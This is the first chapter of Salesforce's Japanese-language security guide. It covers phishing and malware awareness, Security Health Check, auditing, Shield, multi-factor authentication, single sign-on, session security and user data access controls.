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第 1 章 Salesforce セキュリティガイド
Salesforce は、データとアプリケーションを保護するセキュリティが組み込まれて構
築されています。また、独自のセキュリティスキームを実装して、組織の構造とニー
ズを反映させることもできます。データの保護はお客様と Salesforce との相互連携が
必要になります。Salesforce のセキュリティ機能を使用すると、ユーザはジョブを安
全に効率的に実行できます。

トピック:

• Salesforce のセキュ
リティの基本

• ユーザの認証
• ユーザへのデータ

アクセス権の付与
• オブジェクトと項

目の共有
• Shield Platform

Encryption でのデー
タのセキュリティ
の強化

• 組織のセキュリ
ティの監視

• リアルタイムイベ
ント監視

• Apex および
Visualforce 開発のセ
キュリティガイド
ライン

• API の有効期限
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Salesforce のセキュリティの基本

Salesforce のセキュリティ機能を使用すると、ユーザはジョブを安全かつ効率的に実行できます。Salesforce で
は、ユーザが操作するデータの公開が制限されます。データの機密性に適したセキュリティコントロールを実
装します。連携してデータを社外の認証されていないアクセスや、ユーザによる不正使用から保護する必要が
あります。

このセクションの内容:

フィッシングおよび不正ソフトウェア
Salesforce 実装に関連して疑わしい情報が表示された場合、社内の IT チームやセキュリティチームだけでな
く、security@salesforce.com 宛にもお知らせください。信頼には何よりも透明性が必要です。そのため、
Salesforce では http://trust.salesforce.com にシステムパフォーマンスやセキュリティに関する情報
をリアルタイムで掲載しています。セキュリティ固有の情報については、
http://trust.salesforce.com/security を参照してください。このサイトでは、システムパフォー
マンス、現在および最近のフィッシングや不正ソフトウェアに対する警告、組織のセキュリティに関する
ベストプラクティスのヒントなどに関する実データが提供されています。
セキュリティ状態チェック
システム管理者として、[状態チェック] を使用してセキュリティ設定の潜在的な脆弱性をすべて 1 つのペー
ジから特定して修正できます。概要スコアには、Salesforce ベースライン標準などのセキュリティベースラ
インを組織がどの程度満たしているかが表示されます。最大 5 つのカスタムベースラインをアップロード
して、Salesforce ベースライン標準の代わりに使用できます。
監査
監査では、システムの使用に関する情報を提供します。この情報は、潜在的なセキュリティ問題、または
実際のセキュリティ問題の診断に不可欠です。Salesforce の監査機能自体が組織を保護することはありませ
ん。組織の担当者が定期的に監査を行って潜在的な不正使用を検出する必要があります。
Salesforce Shield

Salesforce Shield は 3 つのセキュリティツールで構成されています。システム管理者や開発者はこれらのツー
ルを使用して、ビジネスクリティカルなアプリケーションに直接、高度な信頼性、コンプライアンス、ガ
バナンスを組み込むことができます。Salesforce Shield には、Shield Platform Encryption、イベント監視、項目監
査履歴が搭載されています。Salesforce 管理者に、組織で Salesforce Shield が使用できるか問い合わせます。

フィッシングおよび不正ソフトウェア
Salesforce 実装に関連して疑わしい情報が表示された場合、社内の IT チームやセキュリティチームだけでなく、
security@salesforce.com 宛にもお知らせください。信頼には何よりも透明性が必要です。そのため、Salesforce で
は http://trust.salesforce.comにシステムパフォーマンスやセキュリティに関する情報をリアルタイム
で掲載しています。セキュリティ固有の情報については、http://trust.salesforce.com/securityを参
照してください。このサイトでは、システムパフォーマンス、現在および最近のフィッシングや不正ソフト
ウェアに対する警告、組織のセキュリティに関するベストプラクティスのヒントなどに関する実データが提供
されています。
Trust サイトの [セキュリティ] セクションには、会社のデータを保護するための有効な情報が記載されていま
す。セキュリティに関するベストプラクティスに加えて、このサイトではフィッシングの認識及び報告方法に
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関する情報や、Salesforce 利用者に影響を及ぼす可能性がある現在の不正ソフトウェアキャンペーンに関する情
報を提供しています。
• フィッシングとは、信頼できる人物やエンティティになりすますことによって、ユーザ名、パスワード、

クレジットカードの詳細情報など、重要な情報を取得しようとするソーシャルエンジニアリング技法です。
フィッシングは、メール、テキストメッセージング、音声電話、その他の方法で行われます。フィッシン
グ詐欺師は、標的がリンクをクリックして貴重な情報を入力したり、不正ソフトウェアを標的のデバイス
にダウンロードさせるために添付ファイルを開封するよう誘導する場合がよくあります。Salesforce コミュ
ニティが大きくなるにつれて、コミュニティはフィッシング詐欺師にとって格段に目立つ標的となります。
Salesforce スタッフからログイン情報を尋ねるようなメールや電話を行うことはありませんので、ログイン
情報は誰にも公開しないでください。Salesforce インスタンスに関する疑わしい活動やメールがある場合は、
直接 security@salesforce.com の Salesforce セキュリティチーム宛に報告してください。

• 不正ソフトウェアは、所有者の同意なく、コンピュータシステムに進入したり、損害を与えるように設計
されたソフトウェアです。不正ソフトウェアは、さまざまな形式の悪意がある、または侵略的なソフトウェ
アを表す一般的な用語で、コンピュータウィルスやスパイウェアも含まれます。最新のセキュリティアド
バイザリのリストは、https://trust.salesforce.com/en/security/security-advisories を参照してください。

フィッシングおよび不正ソフトウェアへの Salesforce の対策
セキュリティはお客様の成功の基本であるため、Salesforce では今後もエコシステムを保護するために最善の実
例やセキュリティ技術を実装していきます。最新かつ実行中の活動は次のとおりです。
• 影響を受けたお客様に警告できるようにするためのログの積極的な監視や分析。
• 主要なセキュリティベンダや有効なセキュリティツールに関する専門家との連携。
• Salesforce 従業員の継続的なセキュリティ教育およびエンゲージメント活動。
• セキュリティを念頭に置いた商品開発プロセスの作成。
• trust.salesforce.com/security 及びその他の継続的な活動を通じたお客様やパートナーとのセキュ

リティに関するベストプラクティスの積極的な共有。

Salesforce の推奨事項
Salesforce はカスタマーセキュリティの効果的なパートナーとして、サービスソフトウェアの基準を設定してい
ます。当社の取り組みに加え、お客様もセキュリティ向上のために次の変更を行うことをお勧めします。
• ネットワークへのアクセスを制限するために、多要素認証 (MFA) を実装する。詳細は、「多要素認証」を参

照してください。
• IP 範囲制限を有効にするために Salesforce 実装を変更する。こうした制限により、ユーザが会社のネットワー

クまたは VPN からのみ Salesforce にアクセスできるようにします。詳細は、「組織の信頼済み IP 範囲の設定」
を参照してください。

• セッションセキュリティ制限を設定して、なりすましを難しくする。詳細は、「セッションセキュリティ
設定の変更」を参照してください。

• フィッシングから保護するため、疑わしいメールを開かないように、慎重になるよう教育する。
• 主要ベンダのセキュリティソリューションを使用して、スパムのフィルタリングや不正ソフトウェア保護

を展開する。
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• 組織内にセキュリティ担当者を指定し、Salesforce がより効率的に連絡できるようにする。詳細は、Salesforce

の担当者までお問い合わせください。
• 拡張トランザクションセキュリティを使用してイベントを監視し、適切な措置を講じる。詳細は、「拡張

トランザクションセキュリティ」を参照してください。
Salesforce には、セキュリティ問題に対応する Security Incident Response Team があります。セキュリティ障害また
は脆弱性を Salesforce に報告するには、security@salesforce.comに連絡してください。問題について詳細に説明して
いただければ、チームが適切に対応いたします。

メールに関するセキュリティ意識のベストプラクティス
フィッシング詐欺では、不正なメールを使用して、ユーザが機密情報を漏らすように仕向けます。このような
メールは通常、正当な組織からのものであるように見え、その組織のように見えるサイトへのリンクが含まれ
る場合もあります。ただし、そのサイトは実際には情報を取得するための擬似サイトです。
これらの詐欺が高度に進化するにつれ、メールが本物か偽物かを判断するのは困難になります。たとえば、
フィッシングメールには force.comドメインからの悪意のあるリンクが含まれている可能性があります。ま
た、受信メールからケースを生成する Salesforce 組織で、ケース自体のメールに悪意のあるコンテンツが含まれ
ている可能性もあります。
フィッシングや不正ソフトウェア攻撃の被害者にならないようにする最良の方法は、探すべき情報を知ってお
くことです。Salesforce で生成されたケースにも、フィッシングメールと同じベストプラクティスを適用するこ
とをお勧めします。
• メールを受信することが想定されていない限り、メールおよびメールで生成されたケース内のリンクをク

リックしたり添付ファイルを開いたりしないでください。
• 外部メールアドレスから送信されたすべてのメールとケースは、信頼できないものとして処理します。
• メールまたはメールで生成されたケースに次の操作を指示するメッセージが含まれている場合、フィッシ

ング攻撃である可能性が高いと考えられます。
– リンクをクリックする。
– 添付ファイルを開く。
– パスワードを検証する。
– アカウントにログインする。
– 個人情報やログイン情報を入力する。

フィッシングメールやフィッシングメール-to-ケースを受信した場合は、削除して社内 IT チームに通知します。
Salesforce は今後もお客様の成功を最優先に考え、ご信頼いただけるよう努力してまいります。

4

フィッシングおよび不正ソフトウェアSalesforce セキュリティガイド

mailto:security@salesforce.com


セキュリティ状態チェック
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

状態チェックを表示また
はカスタムベースライン
をエクスポートする
• 「状態チェックを表

示」

または

「セキュリティセン
ターの表示」

または

「セキュリティセン
ターの管理」

カスタムベースラインを
インポートする
• 「状態チェックを管

理」

または

「セキュリティセン
ターの表示」

または

「セキュリティセン
ターの管理」

システム管理者として、[状態チェック] を使用してセキュリティ設定の潜在的な
脆弱性をすべて 1 つのページから特定して修正できます。概要スコアには、
Salesforce ベースライン標準などのセキュリティベースラインを組織がどの程度
満たしているかが表示されます。最大 5 つのカスタムベースラインをアップロー
ドして、Salesforce ベースライン標準の代わりに使用できます。
[設定] から、[クイック検索] ボックスに「状態チェック」と入力し、[状態チェッ
ク] を選択します。

ベースラインドロップダウン (1) で、[Salesforce ベースライン標準] またはカスタ
ムベースラインを選択します。ベースラインは、[高リスクのセキュリティ設
定]、[中リスクのセキュリティ設定]、[低リスクのセキュリティ設定]、[情報のセ
キュリティ設定] の推奨値で構成されます (2)。ベースラインの内容よりも制限が
緩い設定に変更すると、状態チェックのスコア (3) とグレード (4) が低下します。
設定は基準値 (5) との比較情報と共に表示されます。リスクに対処するには、設
定を編集 (6) するか、[リスクを修正] (7) を使用して、[状態チェック] ページを離
れることなく、選択したベースラインの推奨値に設定をすばやく変更します。
ベースラインコントロールメニュー (8) を使用して、カスタムベースラインのイ
ンポート、エクスポート、編集、削除ができます。

メモ: 新しい設定がセキュリティ状態チェックに導入されるとき、それら
は Salesforce ベースライン標準にデフォルト値を伴って追加されます。カス
タムベースラインがある場合、カスタムベースラインを開くと新しい設定
を追加するように促されます。

例: パスワードの最小長を 8 (デフォルト値) から 5 に変更し、[パスワードポ
リシー] の他の設定を制限の緩い値に変更したとします。これらの変更によ
り、推測や他の過激な攻撃に対してユーザのパスワードが脆弱な状態にな
ります。その結果、全体的なスコアが低下し、設定がリスクとして表示さ
れます。

5

セキュリティ状態チェックSalesforce セキュリティガイド

https://help.salesforce.com/apex/HTViewHelpDoc?id=overview_edition_lex_only.htm&language=ja#overview_edition_lex_only
https://help.salesforce.com/apex/HTViewHelpDoc?id=overview_edition_lex_only.htm&language=ja#overview_edition_lex_only


リスクの修正の制限事項
一部の設定は [リスクを修正] ボタンでは変更できません。調整する設定が [リスクを修正] 画面に表示されない
場合、[状態チェック] ページの [編集] リンクを使用して手動で変更します。

関連トピック:

Salesforce ヘルプ: [状態チェック] のスコアの計算方法

監査
監査では、システムの使用に関する情報を提供します。この情報は、潜在的なセキュリティ問題、または実際
のセキュリティ問題の診断に不可欠です。Salesforce の監査機能自体が組織を保護することはありません。組織
の担当者が定期的に監査を行って潜在的な不正使用を検出する必要があります。
組織のシステムが実際に安全かどうかを確認するには、監査を実行して予期しない変更や使用の動向を監視す
る必要があります。
レコード変更項目

すべてのオブジェクトには、レコードを作成し、最後にレコードを更新したユーザの名前を格納する項目
が含まれています。これにより、基本的な監査情報を入手できます。

ログイン履歴
過去 6 か月間に組織に対して行われた正常なログイン、失敗したログインのリストをレビューできます。
「ログイン履歴の監視」 (ページ 211)を参照してください。

項目履歴管理
各項目に監査機能を有効化すると、選択した項目値の変更を自動的に追跡できます。監査機能はすべての
カスタムオブジェクトで使用できますが、一部の標準オブジェクトでのみ項目レベルの監査が許可されま
す。「項目履歴管理」 (ページ 213)を参照してください。

Setup Audit Trail

管理者は組織の設定に行われた変更の日時を記録する設定変更履歴を参照することもできます。「設定変
更履歴を使用した設定変更の監視」 (ページ 221)を参照してください。

Salesforce Shield
Salesforce Shield は 3 つのセキュリティツールで構成されています。システム管理者や開発者はこれらのツール
を使用して、ビジネスクリティカルなアプリケーションに直接、高度な信頼性、コンプライアンス、ガバナン
スを組み込むことができます。Salesforce Shield には、Shield Platform Encryption、イベント監視、項目監査履歴が搭
載されています。Salesforce 管理者に、組織で Salesforce Shield が使用できるか問い合わせます。

Shield Platform Encryption
Shield Platform Encryption により、Salesforce アプリケーション全体に保存された重要な機密データをネイティブに
暗号化できます。保存されたデータを暗号化することで、PII、機密データ、守秘データ、専有データに対する
保護が一層強化されます。また、重要なアプリケーションの機能 (検索、ワークフロー、入力規則など) を維持
しながら、外部および内部両方のデータコンプライアンスポリシーに対応することができます。暗号化鍵に対
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する完全な制御権があり、未承認のユーザから機密データを保護する暗号化データ権限を設定できます。
「Shield Platform Encryption」 (ページ 100)を参照してください。

リアルタイムイベント監視
リアルタイムイベント監視で、すべての Salesforce アプリケーションに関する詳細なパフォーマンス、セキュリ
ティ、および利用状況データにアクセスできます。重要なビジネスデータをだれが、いつ、どこからアクセス
したか確認できます。アプリケーションのユーザ導入について理解します。エンドユーザの操作性を向上する
には、パフォーマンスのトラブルシューティングと最適化をします。API を使用してイベント監視データを追
跡し、Analytics、Splunk、New Relic などのデータ視覚化ツールまたはアプリケーション監視ツールにインポート
できます。手始めに、「イベント監視」トレーニングコースを確認します。

項目監査履歴
項目監査履歴: 任意の日付のデータの状態と値をいつでも確認できます。法規制の遵守、社内ガバナンス、監
査、カスタマーサービスで使用できます。大規模なビッグデータバックエンドを基盤としているため、最大
10 年間のフォレンシックデータレベルの監査履歴を作成できます。また、データを削除する状況のトリガを設
定することもできます。「項目監査履歴」 (ページ 219)を参照してください。

Shield 学習マップ: 学習リソースおよびドキュメントの一覧
Shield 学習マップは、Shield に関するあらゆるリソースをまとめた使いやすいポータルです。どの Shield 製品を
購入し、どのように使用するつもりかに関係なく、学習マップを頼りにすれば成功への明確な道のりをたどる
ことができます。Shield 製品のドキュメントに、Shield 学習マップへのリンク (https://shieldlearningmap.com) が記
載されています。
ランディングページには、Shield とは何かを理解するための Dreamforce のプレゼンテーション、動画、および
概要ドキュメントが示されています。トレイルをクリックすると、特定の機能や使用事例に的を絞ったリソー
ス (開発者ガイド、手順、Trailhead、ベストプラクティス) が表示されます。セキュリティポリシーの計画から
適用まで、このマップには Shield ジャーニーの各フェーズに適した最新情報が表示されます。

さらに、質問がある場合や、Shield の機能強化に関する最新情報を確認したい場合もこのマップを活用できま
す。マップの下部にあるボタンバーに、Shield 専用の Trailblazer Community グループ、ディスカッションフォーラ
ム、オンデマンド Web セミナー、リリースノートへのリンクが表示されます。
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ユーザの認証

認証とは、各ログインユーザが本人であることを確認して、組織またはそのデータへの不正なアクセスを防ぐ
ことです。

このセクションの内容:

多要素認証
多要素認証 (MFA) は、ログイン時に自分が本人であることを証明するために 2 つ以上の証拠 (要素) を入力す
る必要がある安全な認証方式です。要素の 1 つには、ユーザ名やパスワードなどユーザが知っている情報
を使用します。残りの要素には、認証アプリケーションやセキュリティキーのようなユーザが所有してい
るものに関する情報などを使用します。MFA では、ユーザアクセスが複数の種別の要素に関連付けられて
います。このため、よく企てられるフィッシング攻撃やアカウント乗っ取りなどの脅威が成功することは、
はるかに難しくなっています。
シングルサインオン
シングルサインオン (SSO) は、ユーザが 1 回のログインと 1 セットのログイン情報で複数のアプリケーショ
ンにアクセスできるようにする認証方法です。たとえば、ユーザが組織にログインすると、自動的にアプ
リケーションランチャーからすべてのアプリケーションにアクセスできます。ユーザを認証するためにサー
ドパーティ ID プロバイダを信頼するように Salesforce 組織を設定できます。または、組織を使用して認証す
るようにサードパーティアプリケーションを設定することもできます。
カスタムログインフロー
ログインフローは、ユーザが Salesforce 組織や Experience Cloud サイトにアクセスする前に、ログインプロセ
スを経由させます。ログインフローを使用して、ユーザが Salesforce にログインしたときに従うビジネスプ
ロセスを制御できます。Salesforce でユーザが認証された後、ログインフローによって、ユーザは強力な認
証の適用やユーザ情報の収集などのプロセスに誘導されます。ログインフローの完了に成功したユーザは、
Salesforce 組織またはサイトに移動します。失敗した場合、フローはユーザを直ちにログアウトできます。
接続アプリケーション
接続アプリケーションは、API や標準プロトコル (SAML、OAuth、OpenID Connect など) を使用して、外部アプ
リケーションを Salesforce に統合できるようにするフレームワークです。接続アプリケーションではこうし
たプロトコルを使用して、外部アプリケーションの認証、承認、シングルサインオン (SSO) の提供を行いま
す。Salesforce に統合された外部アプリケーションは、カスタマーサクセスプラットフォームをはじめとす
るプラットフォームやデバイス、SaaS サブスクリプションで実行できます。たとえば、あなたが Salesforce

モバイルアプリケーションにログインして Salesforce 組織のデータを参照している場合も、接続アプリケー
ションを使用しています。
ユーザパスワードを管理する
Salesforce では、各ユーザに一意のユーザ名とパスワードが提供されます。ユーザはログインするたびにそ
れらを入力する必要があります。システム管理者は、いくつかの設定を使用して、ユーザのパスワードが
強固で安全なものとなるように設定できます。
デバイスの有効化
デバイスの有効化では、ユーザが不明なブラウザやデバイス、または信頼済み範囲の外部の IP アドレスか
らログインした場合、Salesforce はユーザに本人確認を求めます。普段見かけないログイン試行に追加の検
証を追加することで、デバイスの有効化は、組織や Experience Cloud サイトのセキュリティを維持します。
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セッションセキュリティ
ログイン後、ユーザはプラットフォームとのセッションを確立します。セッションセキュリティは、ユー
ザがログインしたままコンピュータから離れているときにネットワークにさらされる危険を制限します。
また、ある従業員が別の従業員のセッションを使用したりする場合などの、内部攻撃の危険も制限します。
複数のセッション設定から選択して、セッションの動作を制御します。

多要素認証
多要素認証 (MFA) は、ログイン時に自分が本人であることを証明するために 2 つ以上の証拠 (要素) を入力する
必要がある安全な認証方式です。要素の 1 つには、ユーザ名やパスワードなどユーザが知っている情報を使用
します。残りの要素には、認証アプリケーションやセキュリティキーのようなユーザが所有しているものに関
する情報などを使用します。MFA では、ユーザアクセスが複数の種別の要素に関連付けられています。このた
め、よく企てられるフィッシング攻撃やアカウント乗っ取りなどの脅威が成功することは、はるかに難しく
なっています。

メモ:  MFA は以前は 2 要素認証 (2FA) と呼ばれていました。

2022 年 2 月 1 日現在、Salesforce では、Salesforce UI にログインするすべてのユーザに MFA を要求しています。こ
の要件についての詳細は、「多要素認証 (MFA) への対応のお願い」および「Salesforce 多要素認証に関する FAQ」
を参照してください。
MFA の理解、実装計画、および組織での導入準備については、次のリソースを参照してください。
• Salesforce ヘルプ: 多要素認証のロールアウト方法
• 管理者ガイド: Admin Guide to Multi-Factor Authentication (多要素認証のシステム管理者ガイド)

• Trailhead モジュール: ユーザ ID のセキュリティ保護
設定の手順については、Salesforce ヘルプの次のセクションを参照してください。
• 多要素認証のカスタマイズ
• 複数要素認証の検証方法の登録
• ユーザの検証方法の切断
• 仮の ID 確認コードの生成
• 多要素認証の管理任務の委任

シングルサインオン
シングルサインオン (SSO) は、ユーザが 1 回のログインと 1 セットのログイン情報で複数のアプリケーションに
アクセスできるようにする認証方法です。たとえば、ユーザが組織にログインすると、自動的にアプリケー
ションランチャーからすべてのアプリケーションにアクセスできます。ユーザを認証するためにサードパー
ティ ID プロバイダを信頼するように Salesforce 組織を設定できます。または、組織を使用して認証するように
サードパーティアプリケーションを設定することもできます。
Salesforce は、SAML および OpenID Connect を使用した SSO をサポートしています。また、定義済みの認証プロバ
イダを使用して、Facebook などのカスタム認証プロトコルを使用するサードパーティに SSO を設定することも
できます。
SSO の使用事例、用語、設定手順の詳細は、Salesforce ヘルプの次のセクションを参照してください。
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• シングルサインオンの使用事例
• シングルサインオンの用語
• サービスプロバイダとしての Salesforce

• ID プロバイダとしての Salesforce

• サービスプロバイダおよび ID プロバイダとしての Salesforce

その他のリソース
SSO の理解と設定については、次のリソースを参照してください。

関連トピック:

Salesforce ヘルプ: シングルサインオンの FAQ

Trailhead モジュール: ユーザ認証
Salesforce 動画: How to Configure SAML Single Sign-On with Salesforce as the Identity Provider (ID プロバイダとして Salesforce

を使用した SAML シングルサインオンの設定方法)

カスタムログインフロー
ログインフローは、ユーザが Salesforce 組織や Experience Cloud サイトにアクセスする前に、ログインプロセスを
経由させます。ログインフローを使用して、ユーザが Salesforce にログインしたときに従うビジネスプロセスを
制御できます。Salesforce でユーザが認証された後、ログインフローによって、ユーザは強力な認証の適用や
ユーザ情報の収集などのプロセスに誘導されます。ログインフローの完了に成功したユーザは、Salesforce 組織
またはサイトに移動します。失敗した場合、フローはユーザを直ちにログアウトできます。
ログインフローの使用事例や実行方法についての詳細は、Salesforce ヘルプの「カスタムログインフロー」を参
照してください。
ログインフローの作成と管理については、次のトピックを参照してください。
• Flow Builder でのログインフローの作成
• Visualforce を使用したカスタムログインフローの作成
• ログインフローの設定とプロファイルへの接続
• ログインフローの例
• ログインフローによる同時セッション数の制限
ログインフローの作成に使用する Flow Builder の詳細については、Salesforce ヘルプの「フロー」を参照してくだ
さい。
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接続アプリケーション
接続アプリケーションは、API や標準プロトコル (SAML、OAuth、OpenID Connect など) を使用して、外部アプリ
ケーションを Salesforce に統合できるようにするフレームワークです。接続アプリケーションではこうしたプロ
トコルを使用して、外部アプリケーションの認証、承認、シングルサインオン (SSO) の提供を行います。Salesforce

に統合された外部アプリケーションは、カスタマーサクセスプラットフォームをはじめとするプラットフォー
ムやデバイス、SaaS サブスクリプションで実行できます。たとえば、あなたが Salesforce モバイルアプリケー
ションにログインして Salesforce 組織のデータを参照している場合も、接続アプリケーションを使用していま
す。
接続アプリケーションは、外部アプリケーションに関するメタデータを取得して、外部アプリケーションがど
の認証プロトコル (SAML、OAuth、OpenID Connect) を使用し、どこで実行されているかを Salesforce に伝えます。
そして、Salesforce が外部アプリケーションにデータへのアクセスを許可し、アクセス制限 (アプリケーション
のアクセス期限など) を定義するポリシーをアタッチできます。また Salesforce で、接続アプリケーションの利
用状況を監査することもできます。
接続アプリケーションの使用、設定、および管理の方法についての詳細は、Salesforce ヘルプの次のトピックを
参照してください。
• 接続アプリケーションの使用事例
• 接続アプリケーションの作成
• 接続アプリケーションの編集
• 接続アプリケーションへのアクセスの管理

その他のリソース
接続アプリケーションの理解に役立つその他のリソースを次に示します。
• Salesforce ヘルプ: 接続アプリケーション
• Salesforce ヘルプ: OAuth によるアプリケーションの認証
• Trailhead: 接続アプリケーションを使用してインテグレーションを構築する

ユーザパスワードを管理する
Salesforce では、各ユーザに一意のユーザ名とパスワードが提供されます。ユーザはログインするたびにそれら
を入力する必要があります。システム管理者は、いくつかの設定を使用して、ユーザのパスワードが強固で安
全なものとなるように設定できます。
ユーザパスワードの管理方法の詳細は、Salesforce ヘルプの次の記事を参照してください。
• パスワードポリシーの設定
• ユーザのパスワードのリセット
• すべてのユーザのパスワードのリセット
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デバイスの有効化
デバイスの有効化では、ユーザが不明なブラウザやデバイス、または信頼済み範囲の外部の IP アドレスからロ
グインした場合、Salesforce はユーザに本人確認を求めます。普段見かけないログイン試行に追加の検証を追加
することで、デバイスの有効化は、組織や Experience Cloud サイトのセキュリティを維持します。
デバイスの有効化設定の管理方法と、その仕組についての詳細は、Salesforce ヘルプの次のトピックを参照して
ください。
• デバイスの有効化
• プロファイルでのセッション設定の編集

セッションセキュリティ
ログイン後、ユーザはプラットフォームとのセッションを確立します。セッションセキュリティは、ユーザが
ログインしたままコンピュータから離れているときにネットワークにさらされる危険を制限します。また、あ
る従業員が別の従業員のセッションを使用したりする場合などの、内部攻撃の危険も制限します。複数のセッ
ション設定から選択して、セッションの動作を制御します。
無効なユーザセッションを期限切れにするタイミングを制御したり、信頼済み IP アドレスの範囲を設定した
り、セッションセキュリティに基づいてリソースへのアクセスを制限したりできます。これらのセッションセ
キュリティ機能についての詳細は、次のトピックを参照してください。
• セッションセキュリティ設定の変更
• 組織の信頼済み IP 範囲の設定
• 機密情報の操作への高保証セッションセキュリティの要求
また、ユーザセッションで、有効なセッションやセッションの詳細を監視できます。詳細は、次のトピックを
参照してください。
• ユーザセッション
• ユーザセッション種別

その他のリソース
セッションセキュリティによって組織を保護する方法については、次のリソースを参照してください。

関連トピック:

Salesforce ヘルプ: プロファイルでのセッションの設定の編集
Trailhead モジュール: セッションベースの権限セットとセキュリティ

ユーザへのデータアクセス権の付与

各ユーザまたはユーザグループに表示できるデータセットを選択することは、データセキュリティに影響を与
える主要な決定事項のひとつです。データの盗難や悪用のリスクを制限するためのデータへのアクセス制限
と、ユーザによるデータアクセスの利便性の均衡を取る必要があります。
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このセクションの内容:

ユーザのアクセス権の制御
Salesforce データ共有により、特定のデータセットを個人およびユーザグループに公開できます。権限セッ
ト、権限セットグループ、プロファイルにより、アクセス権を制御することでオブジェクトレベルおよび
項目レベルのセキュリティが提供されます。レコードレベルの共有設定、ユーザロール、共有ルールで、
ユーザが参照および編集できる個々のレコードを制御します。
ユーザ権限
ユーザ権限によって、ユーザが実行できるタスクとユーザがアクセスできる機能が指定されます。たとえ
ば「設定・定義を参照する」権限を持つユーザは [設定] ページを表示でき、「API の有効化」権限を持つ
ユーザはすべての Salesforce API にアクセスできます。
オブジェクトの権限
オブジェクトの権限は、ユーザが各オブジェクトのレコードを作成、参照、編集、および削除するために
必要な基本レベルのアクセス権限を指定します。権限セットおよびプロファイルでオブジェクト権限を管
理できます。
カスタム権限
カスタムプロセスまたはアプリケーションへのアクセス権をユーザに付与するには、カスタム権限を使用
します。
プロファイル
プロファイルは、オブジェクトおよびデータへのユーザによるアクセス方法や、アプリケーション内で実
行可能な操作を定義します。ユーザの作成時に、各ユーザにプロファイルを割り当てます。
ユーザロールの作成
Salesforce にはユーザロール階層があり、共有設定と併用して Salesforce 組織のデータに対するユーザのアク
セスレベルを決定できます。階層内のロールは、レコードやレポートなどの主要コンポーネントへのアク
セスに影響を与えます。

ユーザのアクセス権の制御
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用できるデータ管理オ
プションは、Salesforce の
エディションによって異
なります。

Salesforce データ共有により、特定のデータセットを個人およびユーザグループ
に公開できます。権限セット、権限セットグループ、プロファイルにより、ア
クセス権を制御することでオブジェクトレベルおよび項目レベルのセキュリティ
が提供されます。レコードレベルの共有設定、ユーザロール、共有ルールで、
ユーザが参照および編集できる個々のレコードを制御します。

ヒント: 組織のセキュリティと共有ルールを実装する場合、組織内のさま
ざまなユーザの種類に関するテーブルを作成します。各種のユーザが必要
とするデータへのアクセスレベルを指定します。オブジェクトごとのアク
セスレベルや、オブジェクト内の項目やレコードのアクセスレベルを示し
ます。セキュリティモデルを設定する場合に、このテーブルを参照します。

オブジェクトレベルセキュリティ (権限セットおよびプロファイル)

オブジェクトレベルセキュリティ (つまり、オブジェクト権限) で提供されて
いるのは、データアクセスを制御するのに最も弱い方法です。オブジェクト権限を使用すると、ユーザが
リードまたは商談などの特定のオブジェクトタイプのインスタンスを参照、作成、編集または削除できな
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くなります。また、特定のユーザに対してタブやオブジェクト全体を非表示にするため、そのようなデー
タの存在を知ることもできません。
権限セットおよびプロファイルでオブジェクト権限を指定します。権限セットやプロファイルは、アプリ
ケーションでユーザが実行できる操作を決定する設定と権限の集合です。設定は、グループのメンバーに
同じフォルダの権限と同じソフトウェアへのアクセス権限が割り当てられる、Windows ネットワークのグ
ループと似ています。
プロファイルは通常、ユーザの職務 (Salesforce システム管理者や営業担当など) によって定義されます。プ
ロファイルは多くのユーザに割り当てることができますが、1 人のユーザを割り当てることができるには 1

つのプロファイルのみです。権限セットでは、ユーザにさらなる権限やアクセス設定を指定できます。ユー
ザの権限およびアクセスをより簡単に管理できるようになりました。これは、1 人のユーザに複数の権限
セットを割り当てることができるためです。

項目レベルセキュリティ (権限セットおよびプロファイル)

オブジェクトへのアクセス権を許可しても、そのオブジェクトの個々の項目へのアクセスは制限する必要
がある場合があります。項目レベルセキュリティ (つまり、項目権限) は、オブジェクトの特定項目の値を
ユーザが参照、編集、削除できるかどうかを制御します。ユーザに対してオブジェクト全体を非表示にす
ることなく、重要な項目を保護することができます。また、項目権限は権限セットとプロファイルで制御
されます。
項目権限は、関連リスト、リストビュー、レポート、検索結果など、アプリケーションの任意の部分の項
目の表示を制御します。ユーザが特定項目にアクセスできないようにするには、項目権限を使用します。
その他の設定では、項目を同程度に保護できません。ページレイアウトは、詳細ページと編集ページの項
目の表示のみを制御するものです。

メモ: 一部の例外を除き、項目レベルセキュリティにより管理者またはエンドユーザがアクセスでき
ない項目のあるレコードについては検索結果が返されません。たとえば、ユーザが [取引先] で「Las

Vegas」を検索したが、[住所(請求先)] と [住所(納入先)] の [取引先] 項目へのアクセス権がないとします。
Salesforce は、検索可能な項目で「Las Vegas」「Las」「Vegas」のいずれかの用語に一致するキーワード
検索を行います。このユーザには [住所(請求先)] 項目と [住所(納入先)] 項目へのアクセス権がないため、
これらの項目のみに一致するレコードの結果は返されません。項目レベルセキュリティを適用せず
に、検索結果を返す項目もあります。

レコードレベルセキュリティ (共有)

オブジェクトレベル、項目レベルのアクセス権限を設定した後で、実際のレコード自体にアクセス設定を
指定できます。レコードレベルセキュリティを使用して、ユーザに一部のオブジェクトレコードのアクセ
ス権限を付与し、他のオブジェクトレコードのアクセス権限を付与しないようにできます。すべてのレコー
ドはユーザまたはキューが所有します。所有者はレコードにフルアクセスできます。階層では、階層の上
位のユーザは、そのユーザより階層の下位にいるユーザに対するアクセス権と同じアクセス権が必ず許可
されます。このアクセス権は、ユーザが所有するレコードとそのユーザと共有されているレコードに適用
されます。
レコードレベルセキュリティを指定するには、組織の共有設定を行い、階層を定義して、共有ルールを作
成します。
• 組織の共有設定

レコードレベルセキュリティではまず、各オブジェクトの組織の共有設定を指定します。組織の共有設
定では、お互いのレコードに対するデフォルトアクセスレベルを指定します。
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組織の共有設定を使用してデータを最も制限の厳しいレベルにロックダウンします。他のレコードレベ
ルのセキュリティや共有ツールを使用して、他のユーザに選択的にアクセス権を付与します。たとえ
ば、商談を参照および編集するオブジェクトレベルの権限をユーザに許可し、組織全体の共有設定は参
照のみであるとします。デフォルトでは、これらのユーザは、すべての商談レコードを参照することは
できますが、レコードの所有者であるか、他の権限が付与されていない限り、これらのレコードを編集
することはできません。

• ロール階層
組織の共有設定を指定したら、レコードに対するより幅広いアクセス権を許可する一番の方法はロール
階層の使用です。組織図と同様に、ロール階層は、ユーザまたはユーザグループが必要とするデータア
